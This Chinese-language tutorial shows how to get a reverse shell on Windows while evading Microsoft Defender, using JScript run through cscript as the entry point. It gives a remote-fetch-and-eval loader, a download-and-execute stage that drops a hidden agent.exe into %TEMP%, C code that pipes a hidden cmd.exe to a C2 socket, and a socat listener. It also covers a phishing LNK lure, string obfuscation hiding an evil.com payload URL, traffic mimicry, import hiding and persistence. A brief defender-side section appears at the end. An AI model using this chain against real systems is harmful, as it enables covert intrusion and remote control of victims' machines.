利用冷门语言绕过Windows Defender实现零检出反弹Shell
1. 项目概述:当“冷门语言”遇上终端安全
在终端安全攻防的战场上,Windows Defender(现在更常被称为Microsoft Defender Antivirus)无疑是一座难以逾越的大山。它凭借与操作系统深度集成、实时更新的特征库和基于机器学习的云保护,构成了一个相当坚固的防线。对于安全研究人员、渗透测试人员或红队成员而言,在授权测试中,如何在不触发警报的情况下,在目标Windows主机上获取一个稳定的交互式Shell,始终是一个核心挑战。
传统的反弹Shell方法,无论是使用PowerShell、Python、C#,还是经典的Netcat,其技术特征、行为模式或使用的API早已被安全产品记录在案,极易被静态或动态检测。于是,大家的思路开始转向“冷门语言”——那些在恶意软件或攻击载荷中不常见,但又能被Windows原生支持或轻松部署的脚本或编程语言。这个项目的核心,就是探索如何利用这些“非主流”工具链,构造一个从行为到特征都足够“干净”的通信通道,实现零检出(Zero Detection)的反弹Shell连接。
这不仅仅是寻找一个替代的execve调用者。真正的挑战在于整个链路的隐匿性:从初始代码的执行(无文件落地或少文件落地)、到进程的创建行为、网络通信的建立方式、再到内存中Shell的交互模式,每一个环节都需要精心设计,以避开Defender的静态签名、AMSI(反恶意软件扫描接口)扫描、行为监控和网络流量检测。我们将深入拆解这个过程中的核心思路、工具选型、实操步骤以及那些容易踩坑的细节。
2. 核心思路与方案选型:为何是“冷门语言”?
为什么“冷门语言”能成为绕过现代终端检测与响应(EDR)和杀毒软件(AV)的一种有效思路?这背后是对检测逻辑的逆向思考。
2.1 安全软件的检测逻辑剖析
现代终端安全软件的检测是一个多层次的立体体系:
- 静态特征检测:比对文件哈希、字符串特征(如特定函数名、IP地址、域名)、嵌入资源等。这是最基础的一层,针对已知恶意软件非常有效。
- 动态/行为检测:监控进程创建、文件操作、注册表修改、网络连接等系统调用序列。例如,一个进程快速连续执行了“创建网络连接”→“生成cmd.exe进程”→“重定向输入输出”这一系列操作,就会触发高可疑度告警。
- 运行时内存扫描与挂钩(Hook):通过AMSI(针对脚本语言)、ETW(事件跟踪 for Windows)或内核回调机制,在脚本解释、.NET程序集加载、PowerShell命令执行等关键时刻进行内存扫描和拦截。
- 机器学习/人工智能模型:基于海量样本训练出的模型,用于识别未知威胁的微妙模式。
传统攻击载荷(如Metasploit的windows/x64/meterpreter/reverse_tcp)在上述每一层都积累了丰富的特征。而“冷门语言”的思路,核心是利用检测规则的盲区或信任区。
2.2 “冷门语言”的独特优势
- 低流行度,特征库覆盖少:安全厂商的样本库和检测规则主要针对高流行度的攻击手法。使用一个在恶意软件历史上极少出现的语言或解释器,其二进制文件、脚本模板、以及生成的进程链,很可能不在静态特征库或行为基线模型中。
- 自带“白名单”光环:一些语言环境是系统自带的合法管理工具,或常见的开发工具。例如,
cscript.exe(Windows脚本宿主)用于执行.vbs或.js文件,mshta.exe用于执行.hta应用,它们本身就是系统可信进程。利用它们来执行代码,是从一个“清白”的父进程开始的,降低了行为关联的嫌疑。 - 灵活的代码交付与执行方式:许多脚本语言支持从命令行直接传递代码片段(
-e或-c参数),或者从远程URL拉取并执行代码。这为实现无文件攻击(Fileless Attack)提供了便利,避免了恶意文件落地扫描。 - 可规避特定运行时检测:例如,AMSI主要针对PowerShell、VBScript、JavaScript等。如果我们使用一种不受AMSI监控的语言运行时,就绕过了这一重要检测层。
2.3 候选方案评估与选型
基于以上思路,我们评估几个经典的“冷门语言”候选方案:
| 方案 | 语言/工具 | 优势 | 潜在风险/难点 |
|---|---|---|---|
| 方案A:Windows Script Host (WSH) - JScript | cscript.exe //e:jscript | 系统原生,无额外依赖。支持ActiveX对象,可进行网络、文件操作。AMSI对传统.js文件有效,但对cscript执行内联代码的监控可能较弱。 | Defender可能监控cscript创建网络连接及子进程的行为。需要处理字符编码和COM对象引用。 |
| 方案B:HTA Application | mshta.exe | 本质是轻量级应用,可执行HTML+脚本。能直接执行VBScript/JScript,且进程名为mshta.exe,是合法进程。 | 会弹出短暂的窗口(可隐藏)。行为上,一个mshta进程去连接远程端口并生成cmd.exe,仍属可疑行为。 |
方案C:.NETviacscorInstallUtil | csc.exe(编译器),InstallUtil.exe(安装工具) | .NET程序功能强大。利用系统自带的csc动态编译代码,或利用InstallUtil的/U(卸载)开关执行代码,是经典的“Living off the Land”技巧。 | AMSI会扫描.NET程序集加载。csc编译动作和InstallUtil的非正常使用可能被行为检测标记。 |
| 方案D:VBScript with WMI | wmic.exe或scriptcontrol对象 | WMI是强大的管理系统,wmic进程本身是管理工具。通过WMI执行VBScript代码片段,父进程可信度高。 | WMI活动通常会被详细记录在Windows事件日志中,便于事后溯源。命令行过长可能受限。 |
| 方案E:其他脚本引擎 | 如python3(若目标已安装)、lua等 | 如果目标环境恰好安装了这些非默认但合法的开发工具,其进程行为在普通办公机上可能显得突兀,但在开发服务器上则很平常。 | 依赖外部环境,通用性差。Python等语言的网络行为库特征也可能被识别。 |
实操心得:没有“银弹”。在实际测试中,方案的成功率取决于目标系统的Defender版本、更新状态、云保护是否开启以及可能存在的其他EDR产品。一个稳健的做法是准备多个备选方案,形成“战术工具箱”,根据目标环境的情报(例如,是否为开发机、已安装的软件等)进行快速切换。
综合考量通用性、隐匿性和实现复杂度,本项目将选择方案A(JScript via cscript)作为主要深入讲解的案例。因为它不依赖额外安装,系统原生支持,且其绕过潜力在近期的一些研究和实践中被反复验证。我们将以此为基础,构建一个完整的、注重细节的零检出反弹Shell。
3. 技术实现深度解析:从JScript到稳定Shell
选定JScript作为我们的“冷门语言”载体后,接下来需要解决几个关键问题:如何让代码无文件执行?如何建立隐蔽的网络连接?如何生成一个交互式Shell并完成输入输出重定向?以及如何让整个过程尽可能“安静”。
3.1 无文件代码执行与AMSI规避
直接写一个.js文件到磁盘再执行是下策。我们的目标是让代码只存在于内存中。cscript.exe支持直接执行命令行中传递的脚本。
cscript //E:JScript //NoLogo "%~dp0$"这是一个常见的技巧,但这里有一个更隐蔽的写法,利用WScript.Shell的Exec方法或者直接从参数中读取。我们可以构造一个单行命令,将整个JScript代码作为字符串传递。但要注意,过长的命令行可能被截断或显得可疑。
一个更优雅的方式是利用环境变量或剪贴板(如果可行)暂存代码,但通用性会下降。我们选择一种折中方案:将核心功能封装成一个较短的“引导代码”,其主要任务是从一个受控的远程位置(如Web服务器)拉取第二阶段的、功能更复杂的JScript负载到内存中执行。这样,初始命令很短,且拉取动作本身可能被解释为正常的HTTP请求。
第一阶段引导代码示例(可内联执行):
var url = 'http://your-server.com/stage2.js'; var xh = new ActiveXObject('MSXML2.XMLHTTP.6.0'); xh.open('GET', url, false); // 同步请求 xh.send(); eval(xh.responseText);这段代码使用了MSXML2.XMLHTTP组件进行HTTP请求,然后用eval执行返回的脚本。但这里有个问题:eval执行的代码可能会被AMSI捕获吗?对于JScript在cscript环境下的执行,AMSI的介入点与PowerShell不同,但微软正在不断加强覆盖。为了更稳妥,我们可以尝试混淆关键字符串,或使用Function构造函数等替代eval。
3.2 建立隐蔽的TCP连接与进程创建
第二阶段代码(stage2.js)需要实现Socket连接和创建cmd.exe进程。在JScript中,我们可以使用WScript.Shell对象来运行命令,并使用WScript.Network?不,JScript没有原生的Socket对象。我们需要借助其他ActiveX组件。
一个经典的方法是使用Microsoft.XMLDOM或MSXML2.ServerXMLHTTP的某些特性,但它们主要用于HTTP。对于原始TCP Socket,一个可行的选择是ADODB.Stream,但它通常用于读写二进制数据,直接作为双向通信的Socket比较别扭。更直接的方法是调用Windows底层的WinSock API。
这听起来很复杂,但JScript(通过cscript)可以调用COM组件,其中有一个名为WSHController的隐藏COM对象,它内部可以创建原始的Socket。然而,这种方法不稳定且依赖特定系统配置。
更为可靠和简洁的方案是:利用cscript本身能执行系统命令的能力,调用最基础的工具来建立连接。但netcat不是默认安装的。Windows自带的工具中,PowerShell是功能强大的选择,但用它就回到了高检测率的老路。
这里引入一个关键思路:分层与代理。我们让JScript代码创建一个到攻击机的HTTP或WebSocket连接,因为HTTP流量在企业环境中太普遍了。然后,通过这个HTTP隧道,来传输我们对于cmd.exe的输入和输出。这样,从网络监控层面看,这只是一个持续的、可能有些长的HTTP会话,而不是一个显式的反向TCP Shell连接。
我们可以用JScript实现一个简单的HTTP长轮询或WebSocket客户端(需要较复杂的代码),但为了概念验证的清晰度,我们退一步,采用一个折中但有效的方案:使用rundll32.exe调用urlmon.dll的URLDownloadToFile函数下载一个轻量级代理程序(例如,一个用Go或C编译的、特征极少的TCP转发器),然后由这个代理程序去建立真正的反向Shell。这样,JScript只负责“下载并执行”,脏活由另一个更易控制的小程序来做。
注意事项:这种“下载并执行”是极其敏感的行为,是几乎所有安全软件的重点监控对象。为了绕过,我们需要:
- 使用合法的协议和端口:使用HTTPS(443端口)下载,模拟正常浏览器更新或软件API通信。
- 文件落地规避:使用
rundll32.exe的javascript:协议或mshta的about:技巧,尝试直接将二进制数据写入内存并执行,但这在JScript中实现难度极高。一个更实际的“半文件”方案是下载到临时目录(%TEMP%),并立即执行,执行后马上删除自身。虽然仍有短暂的落地,但结合文件名的随机化和快速删除,可以降低静态扫描命中率。- 证书与域名:使用有效的、甚至是知名的CDN域名和HTTPS证书来托管第二阶段负载,使流量看起来更合法。
3.3 交互式Shell的输入输出重定向
假设我们成功在内存中或通过临时文件执行了一个代理程序(我们称之为agent.exe)。这个agent.exe需要完成以下工作:
- 连接到攻击者控制的服务器(如
C2_IP:C2_PORT)。 - 创建一个新的
cmd.exe进程。 - 将
cmd.exe的输入(stdin)、输出(stdout)、错误(stderr)全部重定向到网络Socket。
在Windows上,这需要用到管道(Pipe)和进程创建API。agent.exe可以使用CreateProcess函数,并为STARTUPINFO结构中的hStdInput、hStdOutput、hStdError成员指定管道句柄。然后,程序在两个线程中循环:一个线程从Socket读取数据,写入到cmd.exe的输入管道;另一个线程从cmd.exe的输出/错误管道读取数据,发送到Socket。
关键技巧:进程参数与窗口隐藏
// C语言示例片段 (agent.exe 的核心逻辑) STARTUPINFO si = {sizeof(si)}; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE}; CreatePipe(&hReadPipe, &hWritePipe, &sa, 0); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput = hReadPipe; si.hStdOutput = hWritePipe; si.hStdError = hWritePipe; si.wShowWindow = SW_HIDE; // 隐藏窗口 CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);这里CREATE_NO_WINDOW和si.wShowWindow = SW_HIDE共同确保不会弹出命令行窗口,实现完全后台运行。
3.4 完整攻击链串联
现在,我们将整个链条串联起来:
初始入口点:通过鱼叉邮件、漏洞利用、或已有的一定权限,在目标机器上执行一行“干净”的命令。
cscript //E:JScript //NoLogo "%~dp0$" "http://legit-cdn.com/update.js"(这里假设我们通过某种方式将引导代码作为参数传递。实践中可能需要更巧妙的包装,比如嵌入在LNK文件、计划任务或注册表键值中)。
第一阶段(JScript引导):上述命令执行一段极短的JScript代码,该代码从
http://legit-cdn.com/update.js(一个看似合法的地址)拉取第二阶段JScript负载到内存并执行。第二阶段(JScript核心):第二阶段JScript代码(
update.js)负责:- 检查环境。
- 使用
ADODB.Stream或Microsoft.XMLHTTP对象,通过HTTPS从另一个“资源服务器”下载agent.exe的二进制内容。 - 使用
Scripting.FileSystemObject将二进制内容写入%TEMP%\随机名.tmp。 - 使用
WScript.Shell的Run方法,以隐藏窗口的方式执行这个临时文件,并传递攻击者的C2地址和端口作为参数。 - 可选:立即删除下载的临时JScript文件(
update.js在内存中,无需删除)和agent.exe临时文件(需等待进程启动后,由agent.exe自己删除或由脚本延迟删除)。
第三阶段(Agent代理):
agent.exe运行后,建立到C2服务器的Socket连接,创建隐藏的cmd.exe进程,并完成输入输出重定向,形成一个完整的交互式Shell。C2服务器:攻击者机器上运行一个监听器,接收来自
agent.exe的连接,并提供交互界面。
至此,我们实现了一个利用冷门语言(JScript)作为初始跳板,通过多阶段、协议伪装(HTTPS)、临时文件落地后自删除等技术,最终获取稳定交互式Shell的流程。整个过程,初始命令简单,网络流量伪装成普通HTTPS,最终执行的是自定义的、特征未知的小程序,从而在多层面提高了绕过Windows Defender的可能性。
4. 实操部署与精细化绕过技巧
理论需要实践检验。下面我们将一步步拆解如何搭建这个环境,并注入一些关键的“隐身”技巧。
4.1 环境准备与工具制作
攻击端(Kali Linux / 攻击者VPS):
C2监听器:可以使用Netcat、SOCAT,但更专业的是使用Metasploit的
multi/handler(配合自定义的agent.exe需要自定义payload),或者使用专门用于隐蔽通信的框架如Cobalt Strike的Beacon、Sliver等。为了贴近本质,我们先用简单的nc和socat演示。# 使用 socat 监听 443 端口,并处理TCP流 socat TCP-LISTEN:443,reuseaddr,fork -注意:在生产环境,监听443端口需要root权限,并且你的服务器上不应有其他服务占用此端口。更真实的伪装可能需要一个正常的Web服务器(如Nginx)做反向代理,将特定路径的流量转发给我们的C2后端。
资源服务器:需要一个Web服务器(如Nginx, Apache)来托管第二阶段JScript(
update.js)和agent.exe二进制文件。务必配置HTTPS,并申请一个看起来正常的域名和证书(甚至可以使用免费的Let's Encrypt证书)。Agent程序编译:用C或Go编写并编译
agent.exe。关键是要减小体积、去除符号信息、避免使用敏感API名称的字符串常量。- Go语言编译技巧:
# 禁用GC,减小体积,静态编译,去除符号表 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" -o agent.exe main.go-H=windowsgui使得编译出的程序为GUI子系统,运行时不会弹出控制台窗口。但我们的程序需要控制台来处理输入输出,所以更常用的是构建一个控制台程序,但在代码中隐藏窗口。 - C语言编译技巧(使用MinGW):
x86_64-w64-mingw32-gcc -o agent.exe agent.c -lws2_32 -s -Os -mwindows-mwindows链接到GUI子系统,同样需要自己在代码中处理窗口隐藏。
- Go语言编译技巧:
目标端(Windows 10/11, Defender开启最新定义):无需特殊准备,只需能执行cscript命令(默认启用)。
4.2 第一阶段引导代码的多种投递方式
如何让那行cscript命令在目标机器上执行?这是整个攻击链的起点,也是社会工程学或漏洞利用的环节。这里仅从技术角度列举几种方式:
- 恶意LNK快捷方式:创建一个快捷方式,将其目标设置为:
可以配合一个诱人的图标和文件名(如“员工奖金明细.lnk”)通过邮件传播。C:\Windows\System32\cmd.exe /c start /min cscript //E:JScript //NoLogo "%~dp0$" "https://your-cdn.com/path/update.js" - 计划任务:如果已有一定权限(如通过漏洞获得的执行权限),可以通过
schtasks命令创建计划任务来执行命令。 - 注册表启动项:同样,在拥有权限后,可以向
HKCU\Software\Microsoft\Windows\CurrentVersion\Run等位置添加启动项。 - Office文档宏:在Word或Excel宏中,使用
WScript.Shell对象执行上述命令。但宏执行会触发Defender对Office宏的严格监控,需配合宏混淆技术。
实操心得:命令混淆与分割:直接将完整的URL写在命令里可能被静态检测。可以尝试以下方法:
- 环境变量拼接:
set a=https://your-cdn.com/path/update.js && cscript //E:JScript //NoLogo "%~dp0$" %a%- Base64编码:将URL进行Base64编码,在JScript引导代码中解码。但解码函数
atob在JScript中不存在,需要自己实现或使用其他方式。- 从合法网站内容中提取:引导代码从一个完全无害的、允许用户评论的网站(如GitHub Gist、Pastebin的raw链接)读取一段看起来像普通文本的内容,从中提取出真正的URL或代码。这增加了动态性。
4.3 第二阶段JScript的隐匿技巧
update.js是整个流程的“大脑”,需要精心构造。
- 字符串混淆:避免明文的URL、域名、关键函数名。可以使用简单的字符拼接、ASCII码转换或自定义的编码函数。
// 原始:var url = "https://evil.com/bad.exe"; // 混淆后: var part1 = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); // "https://" var part2 = "evil" + "." + "com"; var part3 = "/bad.exe"; var url = part1 + part2 + part3; - 流量模仿:在下载
agent.exe时,设置HTTP请求头,使其看起来像浏览器或系统更新程序。xh.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"); xh.setRequestHeader("Accept", "*/*"); xh.setRequestHeader("Cache-Control", "no-cache"); - 执行时机:可以添加延迟执行逻辑,避开高峰监控期,或者等待用户空闲时(通过检测鼠标键盘 inactivity)再行动。
- 清理痕迹:在成功执行
agent.exe后,脚本应尝试删除自身触发的临时文件,并退出。可以使用WScript.Sleep给agent.exe启动留出时间,然后调用fso.DeleteFile。
4.4 Agent程序的免杀与持久化
agent.exe是最终驻留的后门,其免杀性至关重要。
- 代码层面:
- 避免敏感导入:尽量减少动态链接库(DLL)的导入。必要的
WS2_32.dll(Socket)和kernel32.dll(进程管道)是必须的,但避免导入LoadLibraryA、GetProcAddress等常用于Shellcode加载的函数(除非必要)。 - API动态解析:使用
GetProcAddress和LoadLibrary来动态获取所需API的地址,这样导入表中就不会出现明显的函数名。 - 加密通信:与C2服务器的通信内容应进行加密(即使是简单的XOR),避免明文传输命令和结果被网络层IDS/IPS检测。
- 避免敏感导入:尽量减少动态链接库(DLL)的导入。必要的
- 编译与后处理:
- 加壳/混淆:使用商业或开源的加壳工具(如UPX)可以改变文件哈希和部分特征,但UPX本身已成为一个检测点。可以尝试自定义的压缩或编码。
- 签名:如果能窃取或购买一个有效的代码签名证书(但这是非法且高风险行为),给
agent.exe签名会极大降低被拦截的概率。但这在合法测试中几乎不可能获得。
- 持久化机制:
agent.exe在运行后,可以考虑将自己复制到系统目录或用户启动目录,并创建计划任务、服务或注册表启动项以实现持久化。但持久化动作本身是高风险行为,会触发Defender的行为监控。在初步渗透阶段,可能更倾向于不持久化,而是依靠稳定的Shell连接和手动维持访问。
5. 检测对抗、问题排查与进阶思考
即使我们做了诸多努力,Defender或其他EDR仍有可能检测到异常。了解对手如何发现我们,才能更好地隐藏。
5.1 可能触发的告警点与排查
- 进程创建序列告警:
cscript.exe→ 下载行为(MSXML2.XMLHTTP) → 创建临时文件 → 执行临时文件(agent.exe) →agent.exe创建cmd.exe。这一系列动作,尤其是短时间内连续发生,符合“下载并执行”和“进程链注入”的行为模式。EDR的威胁狩猎规则可能会标记。- 缓解:在阶段之间加入随机延迟。让JScript下载后等待几分钟再执行。或者,将下载和执行分离到不同时间,甚至由用户某个间接行为触发。
- 网络连接告警:
cscript进程(或其子进程)发起到外部IP的HTTPS连接。虽然HTTPS流量普遍,但如果目标IP不在企业白名单内,或流量模式异常(如长时间保持连接、传输非HTTP格式数据),可能被网络检测设备发现。- 缓解:使用常见的云存储域名(如
storage.googleapis.com,blob.core.windows.net)作为C2域名,并确保流量在SSL/TLS加密下尽可能模拟成正常的API通信(如使用特定的HTTP路径、方法)。
- 缓解:使用常见的云存储域名(如
- 内存扫描告警:Defender的云保护可能会将
agent.exe进程的内存页面上传分析。如果agent.exe的代码模式或字符串特征与已知恶意软件家族相似,仍可能被检测。- 缓解:定期更新
agent.exe的代码结构、加密密钥和通信协议。使用更冷门的编程语言或框架编写Agent(如Nim, Rust),并采用独特的架构。
- 缓解:定期更新
- AMSI扫描:虽然我们主要使用JScript,但如果在其中调用了
PowerShell或加载了.NET程序集,仍会触发AMSI。确保我们的JScript代码纯用COM对象和原生JS功能。
5.2 常见问题速查表
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
初始cscript命令执行后无任何反应,进程退出。 | 1. 命令语法错误。 2. 目标系统 cscript被组策略禁用。3. 脚本代码存在语法错误,导致立即退出。 | 1. 在测试机上逐字核对命令。注意//E:JScript和//NoLogo的斜杠方向。2. 检查 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings下的Enabled键值。3. 在脚本开头添加 try...catch,或将错误输出到文件:cscript //E:JScript test.js > error.log 2>&1。 |
可以下载update.js,但后续无反应。 | 1.update.js代码执行错误(如ActiveX对象创建失败)。2. 下载 agent.exe的URL错误或网络不通。3. 写入临时文件失败(权限不足、路径无效)。 | 1. 在update.js中添加详细的日志输出(写入临时文件)来调试每一步。2. 确保资源服务器的HTTPS证书有效且链完整,避免因证书问题导致 XMLHTTP请求失败。3. 检查 %TEMP%环境变量是否可用,以及脚本是否有权限写入。 |
agent.exe被下载但无法执行,或被立即删除。 | 1. Defender实时保护检测并删除了agent.exe。2. 文件没有执行权限。 3. 父进程( cscript或WScript.Shell)被拦截。 | 1. 这是免杀失败的核心标志。需要重新处理agent.exe的免杀(加壳、混淆、改特征)。2. 尝试以其他方式执行,如使用 rundll32.exe调用agent.dll(如果编译为DLL)的导出函数。3. 检查Defender的隔离区历史记录,了解检测名称。 |
| 能连接到C2服务器,但无法获得交互式Shell。 | 1.agent.exe创建进程或管道重定向代码有bug。2. 防火墙或主机策略阻止了 cmd.exe的网络出站?(通常不会)3. C2监听器设置错误(如端口、协议)。 | 1. 先在本地测试agent.exe,让它连接本地的Netcat,看是否能正常工作。使用调试器或打印日志来定位问题。2. 确保 agent.exe以适当权限运行(通常需要与当前用户相同或更高)。3. 使用 socat或nc -lvnp仔细检查连接是否建立,数据是否收发。 |
5.3 进阶思考与演化
这个基于JScript的方案只是一个起点。防御在进化,攻击技术也需要持续迭代。
- 更冷的语言:探索
VBScript(与JScript类似)、JScript.NET(需.NET框架)、Windows PowerShell的替代品PowerShell Core(跨平台,但可能检测率低)、甚至利用regsvr32.exe执行.sct文件(Scriplet)等。每种都有其独特的上下文和检测盲区。 - 无TCP连接:使用DNS隧道、ICMP隧道、或者基于HTTP/2、WebSocket等更上层协议的全双工通信,将流量完全伪装在合法应用协议中。
- 内存驻留:完全放弃文件落地。利用进程注入技术(如DLL注入、Process Hollowing、AtomBombing等),将Shellcode或整个Agent功能注入到一个合法的、长期存在的系统进程(如
explorer.exe,svchost.exe)中。这需要更高的技术门槛,并且对系统稳定性有影响。 - 防御者视角:作为蓝队,如何防御此类攻击?加强应用白名单(AppLocker)、严格限制脚本宿主(
cscript,wscript)的执行、监控异常的进程创建链(特别是从脚本宿主衍生出的网络连接和子进程创建)、部署能深度分析网络流量行为的NDR产品。
这个项目清晰地展示了现代攻防的本质:这是一场关于“特征”和“行为”的猫鼠游戏。攻击者不断寻找并利用系统生态中那些被信任但功能强大的“灰色地带”,而防御者则需要不断细化策略,从单纯的静态特征匹配,发展到对行为序列的深度理解和异常检测。对于安全从业者而言,理解这些绕过技术的原理,不是为了实施攻击,而是为了构建更全面、更深入的防御体系。只有知道攻击者会从哪些意想不到的角度进来,才能把围墙修得没有死角。